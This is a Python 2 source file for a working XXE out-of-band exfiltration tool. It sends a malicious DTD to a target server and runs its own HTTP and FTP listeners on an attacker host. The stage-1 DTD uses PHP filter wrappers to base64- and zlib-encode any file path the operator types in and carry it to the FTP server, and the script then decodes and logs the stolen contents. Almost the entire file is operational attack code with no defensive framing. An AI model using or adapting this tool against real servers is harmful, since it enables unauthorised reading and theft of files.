|
import time |
|
import BaseHTTPServer |
|
from urlparse import urlparse, parse_qs |
|
import logging |
|
import threading |
|
import signal |
|
import sys |
|
import requests |
|
import socket |
|
import base64 |
|
import readline |
|
import zlib |
|
import bz2 |
|
|
|
class EXFILMODES: |
|
PASSWORD = 1 |
|
URL = 2 |
|
|
|
URL = 'http://10.10.10.2:1/' |
|
QUERY_PARAM_NAME = 'r' |
|
HTTPHOST = '10.10.10.1' |
|
HTTPPORT = 8080 |
|
FTPHOST = '10.10.10.1' |
|
FTPPORT = 2121 |
|
RESOURCE_ENCODER = 'php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=' |
|
# EXFILMODES.URL or EXFILMODES.PASSWORD |
|
EXFILMODE = EXFILMODES.URL |
|
LOGLEVEL = logging.INFO |
|
|
|
|
|
# Setup logging |
|
log = logging.getLogger() |
|
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s', |
|
level=logging.DEBUG, datefmt='%I:%M:%S') |
|
log.setLevel(LOGLEVEL) |
|
|
|
|
|
# Initiator; initiates the XXE OOB request |
|
def initiator(resource): |
|
url = URL |
|
headers = {'Content-Type':'application/xml'} |
|
data = dtd_template_stage_0 |
|
data = data.replace('__HTTPHOST__', HTTPHOST) |
|
data = data.replace('__HTTPPORT__', str(HTTPPORT)) |
|
data = data.replace('__QUERY_PARAM_NAME__', QUERY_PARAM_NAME) |
|
data = data.replace('__RESOURCE__', resource) |
|
r = requests.post(url, data=data, headers=headers) |
|
log.debug(r.content) |
|
|
|
|
|
|
|
# DTD Templates |
|
dtd_template_stage_0 = '''<?xml version="1.0" encoding="UTF-8"?> |
|
<!DOCTYPE xmlrootname [ |
|
<!ENTITY % aaa SYSTEM "http://__HTTPHOST__:__HTTPPORT__/?__QUERY_PARAM_NAME__=__RESOURCE__"> |
|
%aaa; |
|
%ccc; |
|
%ddd; |
|
]>''' |
|
|
|
|
|
dtd_template_stage_1_ftppassword = '''<!ENTITY % bbb SYSTEM "__RESOURCE_ENCODER____PATH__"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'ftp://anonymous:%bbb;@__FTPHOST__:__FTPPORT__/'>">''' |
|
dtd_template_stage_1_ftpurl = '''<!ENTITY % bbb SYSTEM "__RESOURCE_ENCODER____PATH__"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'ftp://__FTPHOST__:__FTPPORT__/%bbb;'>">''' |
|
|
|
|
|
class FTPserverThread(threading.Thread): |
|
def __init__(self, conn_addr): |
|
self.log = logging.getLogger('ftpserver') |
|
conn, addr = conn_addr |
|
self.conn = conn |
|
self.addr = addr |
|
threading.Thread.__init__(self) |
|
|
|
def decode_data(self): |
|
b64data = self.exfil_data |
|
self.exfil_data = '' |
|
try: |
|
zlibdata = base64.b64decode(b64data) |
|
try: |
|
data = zlib.decompress(zlibdata, -15) |
|
# data = bz2.decompress(zlibdata) |
|
self.log.info("Decoded data below: \n{0}".format(data)) |
|
except: |
|
log.error('Could not decompress data: \nBASE64\n{0}\nRAW\n{1}'.format(b64data, repr(zlibdata))) |
|
except: |
|
log.error('Could not decode data') |
|
|
|
def run(self): |
|
self.exfil_data = '' |
|
|
|
# Exfiltration through the password field |
|
if EXFILMODE == EXFILMODES.PASSWORD: |
|
self.conn.send('220 Welcome!\r\n') |
|
while True: |
|
data = self.conn.recv(4096) |
|
if not data: |
|
break |
|
else: |
|
self.log.debug("FTP: recvd '%s'" % data.strip()) |
|
if data.startswith("PASS"): |
|
self.exfil_data = data.replace("PASS ", '').strip() |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("LIST"): |
|
self.conn.send("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n") |
|
self.conn.send("150 Opening BINARY mode data connection for /bin/ls\r\n") |
|
self.conn.send("226 Transfer complete.\r\n") |
|
elif data.startswith("USER"): |
|
self.conn.send("331 password please\r\n") |
|
elif data.startswith("PORT"): |
|
self.conn.send("200 PORT command ok\r\n") |
|
elif data.startswith("TYPE"): |
|
self.decode_data() |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("MDTM"): |
|
# self.decode_data() |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("SIZE"): |
|
# self.decode_data() |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("RETR"): |
|
# self.decode_data() |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("CWD"): |
|
# self.decode_data() |
|
self.conn.send('250 CWD command successful.\r\n\r\n') |
|
else: |
|
self.exfil_data += data.strip() |
|
self.conn.send("230 more data please!\r\n") |
|
|
|
# Exfiltration through the url |
|
elif EXFILMODE == EXFILMODES.URL: |
|
self.conn.send('220 Welcome!\r\n') |
|
while True: |
|
data = self.conn.recv(4096) |
|
if not data: |
|
break |
|
else: |
|
self.log.debug("FTP: recvd '%s'" % data.strip()) |
|
if data.startswith("PASS"): |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("LIST"): |
|
self.conn.send("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n") |
|
self.conn.send("150 Opening BINARY mode data connection for /bin/ls\r\n") |
|
self.conn.send("226 Transfer complete.\r\n") |
|
elif data.startswith("USER"): |
|
self.conn.send("331 password please\r\n") |
|
elif data.startswith("PORT"): |
|
self.conn.send("200 PORT command ok\r\n") |
|
elif data.startswith("TYPE"): |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("MDTM"): |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("SIZE"): |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("RETR"): |
|
self.conn.send("230 more data please!\r\n") |
|
elif data.startswith("CWD"): |
|
self.exfil_data = data.replace("CWD /", '').strip() |
|
self.decode_data() |
|
self.conn.send('250 CWD command successful.\r\n\r\n') |
|
else: |
|
self.exfil_data += data.strip() |
|
self.conn.send("230 more data please!\r\n") |
|
else: |
|
raise RuntimeError("EXFILMODE not correct") |
|
cleanup() |
|
|
|
|
|
class FTPserver(threading.Thread): |
|
def __init__(self, port): |
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
|
self.sock.bind(("0.0.0.0", port)) |
|
threading.Thread.__init__(self) |
|
|
|
def run(self): |
|
self.sock.listen(5) |
|
while True: |
|
th = FTPserverThread(self.sock.accept()) |
|
th.daemon = True |
|
th.start() |
|
|
|
def stop(self): |
|
self.sock.shutdown() |
|
self.sock.close() |
|
|
|
|
|
def ftpserver(port): |
|
global ftpd |
|
log.info('Starting FTP server on port {0}'.format(port)) |
|
ftpd = FTPserver(port) |
|
ftpd.daemon = True |
|
ftpd.start() |
|
|
|
|
|
class WebserverHandler(BaseHTTPServer.BaseHTTPRequestHandler): |
|
def do_HEAD(self): |
|
self.send_response(200) |
|
self.send_header("Content-type", "text/html") |
|
self.end_headers() |
|
|
|
def do_GET(self): |
|
# Check if a resource was specified |
|
query = parse_qs(urlparse(self.path).query) |
|
if QUERY_PARAM_NAME in query: |
|
self.send_response(200) |
|
self.send_header("Content-type", "text/html") |
|
self.end_headers() |
|
|
|
if EXFILMODE == EXFILMODES.URL: |
|
data = dtd_template_stage_1_ftpurl |
|
elif EXFILMODE == EXFILMODES.PASSWORD: |
|
data = dtd_template_stage_1_ftppassword |
|
else: |
|
raise RuntimeError("EXFILMODE not correct") |
|
data = data.replace('__RESOURCE_ENCODER__', RESOURCE_ENCODER) |
|
data = data.replace('__PATH__', query[QUERY_PARAM_NAME][0]) |
|
data = data.replace('__FTPHOST__', FTPHOST) |
|
data = data.replace('__FTPPORT__', str(FTPPORT)) |
|
self.wfile.write(data) |
|
else: |
|
self.log_message('Forbidden, no resource specified') |
|
self.send_response(403) |
|
|
|
|
|
def webserver(port): |
|
global httpd |
|
log.info('Starting HTTP server on port {0}'.format(port)) |
|
|
|
server_class = BaseHTTPServer.HTTPServer |
|
httpd = server_class(('0.0.0.0', port), WebserverHandler) |
|
|
|
thread = threading.Thread(target=httpd.serve_forever) |
|
thread.daemon = True |
|
thread.start() |
|
|
|
|
|
def cleanup(): |
|
global httpd |
|
global ftpd |
|
try: |
|
log.info('Shutting down the webserver') |
|
httpd.shutdown() |
|
httpd.server_close() |
|
except: |
|
pass |
|
try: |
|
log.info('Shutting down the ftpserver') |
|
ftpd.stop() |
|
except: |
|
pass |
|
sys.exit(0) |
|
|
|
|
|
def signal_handler(signal, frame): |
|
cleanup() |
|
|
|
|
|
def setup_signal_handler(): |
|
signal.signal(signal.SIGINT, signal_handler) |
|
signal.signal(signal.SIGTERM, signal_handler) |
|
|
|
|
|
if __name__ == '__main__': |
|
setup_signal_handler() |
|
if EXFILMODE == EXFILMODES.PASSWORD: |
|
log.info('Exfiltrating through password field') |
|
elif EXFILMODE == EXFILMODES.URL: |
|
log.info('Exfiltrating through url') |
|
else: |
|
log.error('Exfiltration method not set correctly') |
|
sys.exit(-1) |
|
webserver(HTTPPORT) |
|
ftpserver(FTPPORT) |
|
while True: |
|
request = raw_input('path: ') |
|
if request != '': |
|
initiator(request) |
|
cleanup() |